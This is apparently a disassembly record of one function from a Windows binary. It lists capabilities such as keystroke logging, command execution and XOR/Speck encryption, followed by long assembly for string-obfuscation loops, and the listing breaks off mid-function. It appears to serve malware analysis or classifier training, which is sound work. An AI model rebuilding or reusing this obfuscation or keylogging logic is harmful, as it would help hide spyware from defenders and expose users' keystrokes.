Function at 0x140044d20
Capabilities:
Create directory
Create thread
Encode data using xor
Encrypt data using speck
Execute command
Get session user name
Log keystrokes via polling
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x23c0]
mov eax, 0x24c0
call fcn.1400b7920
sub rsp, rax
movaps xmmword [rsp + 0x24b0], xmm6
movaps xmmword [rsp + 0x24a0], xmm7
movaps xmmword [rsp + 0x2490], xmm8
mov rax, qword [0x140480c38]
xor rax, rsp
mov qword [rbp + 0x2380], rax
xor r15d, r15d
mov dword [rsp + 0x30], r15d
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0x1030]
mov qword [rbp + 0xb90], rcx
lea rdx, [0x1401fc293]
lea rcx, [rbp + 0x1030]
call fcn.140007470
nop
xor eax, eax
mov qword [rbp + 0x1050], rax
lea rax, [0x1400446e0]
cmp byte [0x14060d090], r15b
jne 0x140044dd4
mov qword [0x14060d088], rax
mov byte [0x14060d090], 1
lea rdx, [0x1401fc293]
lea rcx, [rbp + 0x8b0]
call fcn.140007470
mov qword [rbp - 0x38], rax
mov rdi, qword [rax + 0x10]
mov rcx, rax
call fcn.140016e90
mov r10, rax
movabs rax, 0xfeeddccbbaa99887
lea r11, [0x14060c890]
lea r8, [0x14060d088]
mov ebx, 0xffffffff
movabs r9, 0xababdbf33353735b
cmp byte [0x14060c481], 0
jne 0x140044e4c
mov rdx, rax
mov rcx, r11
mov rax, rdx
xor rax, r9
mov qword [rcx], rax
sub rdx, rbx
add rcx, 8
cmp rcx, r8
jl 0x140044e30
mov byte [0x14060c481], 1
movabs rbx, 0xfae9e8d7c6b5a493
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov qword [rbp + 0xb78], rbx
mov r9d, r15d
test rdi, rdi
je 0x140044ecc
mov r8, r10
mov edx, r15d
movzx ecx, byte [r8]
lea rax, [rbp + 0xb79]
nop
xor byte [rax - 1], cl
xor byte [rax], cl
xor byte [rax + 1], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
add edx, 8
lea rax, [rax + 8]
cmp edx, 8
jb 0x140044e80
not cl
movzx eax, cl
mov rbx, qword [rbp + 0xb78]
xor rbx, qword [r11 + rax*8]
mov qword [rbp - 0x28], rbx
mov qword [rbp + 0xb78], rbx
inc r9d
inc r8
movsxd rax, r9d
cmp rax, rdi
jb 0x140044e70
movabs r11, 0xaebdccdb0a192837
movzx r14d, byte [r10]
mov byte [rsp + 0x30], r14b
cmp rdi, 1
jbe 0x140044eed
movzx esi, byte [rdi + r10 - 1]
jmp 0x140044ef0
mov sil, 0xae
mov byte [rsp + 0x34], sil
mov qword [rbp + 0xb80], rdi
mov qword [rsp + 0x68], rdi
mov eax, r15d
movzx ecx, dil
movzx edx, dil
nop dword [rax]
xor cl, r14b
xor dl, sil
inc eax
cmp eax, 8
jb 0x140044f10
mov byte [rbp + 0xb80], cl
mov byte [rsp + 0x68], dl
mov r13d, r15d
mov r12, r15
mov esi, 1
lea ebx, [rsi + 7]
lea r15, [rdi*8]
mov r14, r11
mov eax, r13d
test r13d, r13d
cmove eax, esi
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rdi
shl r9, cl
xor r9, r11
mov rax, r9
xor rax, r14
mov qword [rsp + 0x38], rax
movzx eax, byte [rsp + r12 + 0x38]
xor byte [rbp + r12 + 0xb78], al
lea r11d, [r13*8]
mov ecx, r11d
test r11d, r11d
cmovle ecx, ebx
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 8]
lea eax, [r13 + 1]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rdi
shl r10, cl
xor r10, r9
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r12 + 0x39]
xor byte [rbp + r12 + 0xb79], al
mov eax, 0xfffffff8
sub eax, r11d
mov ecx, 0xfffffff8
test r8d, r8d
cmovg ecx, eax
add ecx, 0x40
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x10]
lea eax, [r13 + 2]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rdi
shl r9, cl
xor r9, r10
xor r9, r14
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r12 + 0x3a]
xor byte [rbp + r12 + 0xb7a], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x18]
lea eax, [r13 + 3]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rdi
shl r10, cl
xor r10, r9
xor r10, r14
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r12 + 0x3b]
xor byte [rbp + r12 + 0xb7b], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x20]
lea eax, [r13 + 4]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rdi
shl r9, cl
xor r9, r10
xor r9, r14
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r12 + 0x3c]
xor byte [rbp + r12 + 0xb7c], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x28]
lea eax, [r13 + 5]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rdi
shl r10, cl
xor r10, r9
xor r10, r14
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r12 + 0x3d]
xor byte [rbp + r12 + 0xb7d], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x30]
lea eax, [r13 + 6]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rdi
shl r9, cl
xor r9, r10
xor r9, r14
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r12 + 0x3e]
xor byte [rbp + r12 + 0xb7e], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x38]
lea eax, [r13 + 7]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r11, rdi
shl r11, cl
xor r11, r9
xor r11, r14
mov qword [rsp + 0x38], r11
movzx eax, byte [rsp + r12 + 0x3f]
xor byte [rbp + r12 + 0xb7f], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rdx, qword [rbp + 0xb80]
shl rdx, cl
xor rdx, qword [rbp + 0xb78]
mov qword [rbp + 0xb78], rdx
add r13d, ebx
lea r12, [r12 + 8]
cmp r13d, ebx
jb 0x140044f40
movzx esi, byte [rsp + 0x34]
imul rcx, rsi, 0xff
not rcx
movzx eax, byte [rsp + 0x30]
shl rax, 7
sub rcx, rax
mov rbx, qword [rbp - 0x28]
and rbx, rdx
xor rcx, rbx
mov qword [rbp + 0x1050], rcx
mov rdx, qword [rbp - 0x38]
lea rcx, [rbp + 0x1030]
call fcn.140008c50
nop
mov rcx, qword [rbp - 0x38]
call fcn.140003990
nop
cmp byte [0x14060d094], 0
mov r15d, 0
jne 0x1400452ca
lea rax, [0x1400446e0]
mov qword [0x14060d088], rax
mov byte [0x14060d094], 1
lea rdx, str.z1Lz6_
lea rcx, [rbp + 0x1b68]
call fcn.140007470
nop
mov rdx, rax
lea rcx, [rbp + 0x16d8]
call fcn.1400073a0
mov r12, qword [rbp + 0x16e8]
lea rcx, [rbp + 0x16d8]
call fcn.140016e90
mov rdi, rax
movabs r13, 0x101010101010101
lea r14, [0x140000000]
lea rsi, [0x14060c464]
cmp byte [0x14060c2d0], 0
jne 0x140045509
mov rsi, r15
nop dword [rax + rax]
lea rcx, [rbp - 0x28]
call fcn.14002db50
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rbp - 0x28]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
inc rax
xor rax, 0x10
shl rax, 0xa
or rax, r13
mov qword [rsi + r14 + 0x60c2e0], rax
lea rcx, [rbp + 0x538]
call fcn.14002db50
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
inc rax
xor rax, 0x20
shl rax, 0xb
or rax, r13
mov qword [rsi + r14 + 0x60c360], rax
lea rcx, [rbp + 0x548]
call fcn.14002db50
mov rbx, qword [rax]
mov qword [rbp - 0x28], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
inc rax
xor rax, 0x40
shl rax, 0xc
or rax, r13
mov qword [rsi + r14 + 0x60c3e0], rax
add rsi, 8
cmp rsi, 0x80
jl 0x140045330
lea rcx, [rbp - 0x38]
call fcn.14002db50
mov esi, r15d
lea r14, [0x14060c460]
mov rbx, qword [rbp - 0x38]
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140045444
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
inc esi
inc r14
cmp esi, 4
jb 0x140045430
lea rcx, [rbp + 0x558]
call fcn.14002db50
mov esi, r15d
lea r14, [0x14060c464]
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004548c
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
inc esi
inc r14
cmp esi, 8
jb 0x140045478
lea rcx, [rbp + 0x560]
call fcn.14002db50
mov esi, r15d
lea r13, [0x14060c46c]
mov r14, r13
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x1400454d7
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
inc esi
inc r14
cmp esi, 0xc
jb 0x1400454c3
mov byte [0x14060c2d0], 1
lea r14, [0x140000000]
lea rsi, [0x14060c464]
jmp 0x140045510
lea r13, [0x14060c46c]
test r12, r12
je 0x1400457a3
mov ebx, r15d
nop dword [rax]
mov r11d, r15d
movzx edx, byte [rdi]
lea r9, [0x14060c460]
nop dword [rax]
mov r10d, r15d
mov r8, r15
nop word [rax + rax]
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e0]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e1]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e2]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e3]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e4]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e5]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e6]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e7]
mov byte [rdi], dl
add r10d, 8
lea r8, [r8 + 8]
cmp r10d, 8
jb 0x140045540
inc r11d
inc r9
cmp r11d, 4
jb 0x140045530
mov r11d, r15d
mov r9, rsi
nop dword [rax + rax]
mov r10d, r15d
mov r8, r15
nop word [rax + rax]
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c360]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c361]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c362]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c363]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c364]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c365]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c366]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c367]
mov byte [rdi], dl
add r10d, 8
lea r8, [r8 + 8]
cmp r10d, 8
jb 0x140045610
inc r11d
inc r9
cmp r11d, 8
jb 0x140045600
mov r11d, r15d
mov r9, r13
nop dword [rax + rax]
mov r10d, r15d
mov r8, r15
nop word [rax + rax]
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e0]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e1]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e2]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e3]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e4]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e5]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e6]
mov byte [rdi], dl
movzx eax, byte [r9]
lea rcx, [r8 + rax*8]
xor dl, byte [rcx + r14 + 0x60c2e7]
mov byte [rdi], dl
add r10d, 8
lea r8, [r8 + 8]
cmp r10d, 8
jb 0x1400456e0
inc r11d
inc r9
cmp r11d, 0xc
jb 0x1400456d0
inc ebx
inc rdi
movsxd rax, ebx
cmp rax, r12
jb 0x140045520
lea rdx, [rbp + 0x16d8]
lea rcx, [rbp + 0x7b0]
call fcn.1400073a0
mov qword [rbp - 0x38], rax
mov rdi, qword [rax + 0x10]
mov rcx, rax
call fcn.140016e90
mov r10, rax
lea r11, [0x14060c890]
cmp byte [0x14060c481], 0
jne 0x14004581c
movabs r8, 0xfeeddccbbaa99887
mov rdx, r11
lea rax, [0x14060d088]
mov ebx, 0xffffffff
movabs r9, 0xababdbf33353735b
nop dword [rax]
mov rcx, r8
xor rcx, r9
mov qword [rdx], rcx
sub r8, rbx
add rdx, 8
cmp rdx, rax
jl 0x140045800
mov byte [0x14060c481], 1
movabs rbx, 0xfae9e8d7c6b5a493
mov qword [rbp - 0x28], rbx
mov qword [rbp + 0xb78], rbx
mov r9d, r15d
test rdi, rdi
je 0x14004589c
mov r8, r10
nop dword [rax]
mov edx, r15d
movzx ecx, byte [r8]
lea rax, [rbp + 0xb79]
nop
xor byte [rax - 1], cl
xor byte [rax], cl
xor byte [rax + 1], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
add edx, 8
lea rax, [rax + 8]
cmp edx, 8
jb 0x140045850
not cl
movzx eax, cl
mov rbx, qword [rbp + 0xb78]
xor rbx, qword [r11 + rax*8]
mov qword [rbp - 0x28], rbx
mov qword [rbp + 0xb78], rbx
inc r9d
inc r8
movsxd rax, r9d
cmp rax, rdi
jb 0x140045840
movabs r11, 0xaebdccdb0a192837
movzx r14d, byte [r10]
mov byte [rsp + 0x30], r14b
cmp rdi, 1
jbe 0x1400458bd
movzx esi, byte [rdi + r10 - 1]
jmp 0x1400458c0
mov sil, 0xae
mov byte [rsp + 0x34], sil
mov qword [rsp + 0x68], rdi
mov qword [rbp + 0xb80], rdi
mov eax, r15d
movzx ecx, dil
movzx edx, dil
nop dword [rax]
xor cl, r14b
xor dl, sil
inc eax
cmp eax, 8
jb 0x1400458e0
mov byte [rsp + 0x68], cl
mov byte [rbp + 0xb80], dl
mov r13d, r15d
mov r12, r15
lea r15, [rdi*8]
mov esi, 1
lea ebx, [rsi + 7]
mov r14, r11
mov eax, r13d
test r13d, r13d
cmove eax, esi
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rdi
shl r9, cl
xor r9, r11
mov rax, r9
xor rax, r14
mov qword [rsp + 0x38], rax
movzx eax, byte [rsp + r12 + 0x38]
xor byte [rbp + r12 + 0xb78], al
lea r11d, [r13*8]
mov ecx, r11d
test r11d, r11d
cmovle ecx, ebx
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 8]
lea eax, [r13 + 1]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rdi
shl r10, cl
xor r10, r9
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r12 + 0x39]
xor byte [rbp + r12 + 0xb79], al
mov eax, 0xfffffff8
sub eax, r11d
mov ecx, 0xfffffff8
test r8d, r8d
cmovg ecx, eax
add ecx, 0x40
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x10]
lea eax, [r13 + 2]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rdi
shl r9, cl
xor r9, r10
xor r9, r14
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r12 + 0x3a]
xor byte [rbp + r12 + 0xb7a], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x18]
lea eax, [r13 + 3]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rdi
shl r10, cl
xor r10, r9
xor r10, r14
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r12 + 0x3b]
xor byte [rbp + r12 + 0xb7b], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x20]
lea eax, [r13 + 4]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rdi
shl r9, cl
xor r9, r10
xor r9, r14
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r12 + 0x3c]
xor byte [rbp + r12 + 0xb7c], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x28]
lea eax, [r13 + 5]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rdi
shl r10, cl
xor r10, r9
xor r10, r14
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r12 + 0x3d]
xor byte [rbp + r12 + 0xb7d], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x30]
lea eax, [r13 + 6]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rdi
shl r9, cl
xor r9, r10
xor r9, r14
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r12 + 0x3e]
xor byte [rbp + r12 + 0xb7e], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x38]
lea eax, [r13 + 7]
mov ecx, r8d
test eax, eax
cmove ecx, ebx
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r11, rdi
shl r11, cl
xor r11, r9
xor r11, r14
mov qword [rsp + 0x38], r11
movzx eax, byte [rsp + r12 + 0x3f]
xor byte [rbp + r12 + 0xb7f], al
mov ecx, ebx
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rbp + 0xb78]
mov qword [rbp + 0xb78], rdx
add r13d, ebx
lea r12, [r12 + 8]
cmp r13d, ebx
jb 0x140045910
movzx esi, byte [rsp + 0x34]
imul rcx, rsi, 0xff
not rcx
movzx eax, byte [rsp + 0x30]
shl rax, 7
sub rcx, rax
mov rbx, qword [rbp - 0x28]
and rbx, rdx
xor rcx, rbx
mov qword [rbp + 0x1050], rcx
mov rdx, qword [rbp - 0x38]
lea rcx, [rbp + 0x1030]
call fcn.140008c50
nop
mov rcx, qword [rbp - 0x38]
call fcn.140003990
nop
lea rcx, [rbp + 0x16d8]
call fcn.140003990
nop
lea rcx, [rbp + 0x1b68]
call fcn.140003990
nop
lea rcx, [rbp + 0x1030]
call fcn.140016e90
mov r10, rax
cmp byte [0x14060c481], 0
mov r15d, 0
movabs r12, 0xfae9e8d7c6b5a493
jne 0x140045cfc
lea rdx, [0x14060c890]
movabs rax, 0xfeeddccbbaa99887
lea r8, [0x14060d088]
movabs r9, 0xababdbf33353735b
mov r11d, 0xffffffff
mov rcx, rax
xor rcx, r9
mov qword [rdx], rcx
sub rax, r11
add rdx, 8
cmp rdx, r8
jl 0x140045ce0
mov byte [0x14060c481], 1
lea r11, [0x14060c890]
mov qword [rbp + 0xb78], r12
mov r9d, r15d
mov rbx, qword [rbp + 0x1040]
test rbx, rbx
je 0x140045d7c
mov r8, r10
nop dword [rax]
mov edx, r15d
movzx ecx, byte [r8]
lea rax, [rbp + 0xb79]
nop
xor byte [rax - 1], cl
xor byte [rax], cl
xor byte [rax + 1], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
add edx, 8
lea rax, [rax + 8]
cmp edx, 8
jb 0x140045d30
not cl
movzx eax, cl
mov r12, qword [rbp + 0xb78]
xor r12, qword [r11 + rax*8]
mov qword [rbp - 0x30], r12
mov qword [rbp + 0xb78], r12
inc r9d
inc r8
movsxd rax, r9d
cmp rax, rbx
jb 0x140045d20
movabs r11, 0xaebdccdb0a192837
movzx esi, byte [r10]
mov byte [rsp + 0x30], sil
cmp rbx, 1
jbe 0x140045d9d
movzx edi, byte [rbx + r10 - 1]
jmp 0x140045da0
mov dil, 0xae
mov byte [rsp + 0x34], dil
mov qword [rsp + 0x68], rbx
mov qword [rbp + 0xb80], rbx
mov eax, r15d
movzx ecx, bl
movzx edx, bl
nop word [rax + rax]
xor cl, sil
xor dl, dil
inc eax
cmp eax, 8
jb 0x140045dc0
mov byte [rsp + 0x68], cl
mov byte [rbp + 0xb80], dl
mov r13d, r15d
mov r14, r15
lea r15, [rbx*8]
mov rsi, r11
mov edi, 1
lea r12d, [rdi + 7]
mov eax, r13d
test r13d, r13d
cmove eax, edi
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rbx
shl r9, cl
xor r9, r11
mov rax, r9
xor rax, rsi
mov qword [rsp + 0x38], rax
movzx eax, byte [rsp + r14 + 0x38]
xor byte [rbp + r14 + 0xb78], al
lea r11d, [r13*8]
mov ecx, r11d
test r11d, r11d
cmovle ecx, r12d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 8]
lea eax, [r13 + 1]
mov ecx, r8d
test eax, eax
cmove ecx, r12d
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rbx
shl r10, cl
xor r10, r9
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r14 + 0x39]
xor byte [rbp + r14 + 0xb79], al
mov eax, 0xfffffff8
sub eax, r11d
mov ecx, 0xfffffff8
test r8d, r8d
cmovg ecx, eax
add ecx, 0x40
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x10]
lea eax, [r13 + 2]
mov ecx, r8d
test eax, eax
cmove ecx, r12d
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rbx
shl r9, cl
xor r9, r10
xor r9, rsi
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r14 + 0x3a]
xor byte [rbp + r14 + 0xb7a], al
mov ecx, r12d
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x18]
lea eax, [r13 + 3]
mov ecx, r8d
test eax, eax
cmove ecx, r12d
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rbx
shl r10, cl
xor r10, r9
xor r10, rsi
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r14 + 0x3b]
xor byte [rbp + r14 + 0xb7b], al
mov ecx, r12d
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x20]
lea eax, [r13 + 4]
mov ecx, r8d
test eax, eax
cmove ecx, r12d
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r9, rbx
shl r9, cl
xor r9, r10
xor r9, rsi
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r14 + 0x3c]
xor byte [rbp + r14 + 0xb7c], al
mov ecx, r12d
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x28]
lea eax, [r13 + 5]
mov ecx, r8d
test eax, eax
cmove ecx, r12d
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r10, rbx
shl r10, cl
xor r10, r9
xor r10, rsi
mov qword [rsp + 0x38], r10
movzx eax, byte [rsp + r14 + 0x3d]
xor byte [rbp + r14 + 0xb7d], al
mov ecx, r12d
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rsp + 0x68]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x30]
lea eax, [r13 + 6]
mov ecx, r8d
test eax, eax
cmove ecx, r12d
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
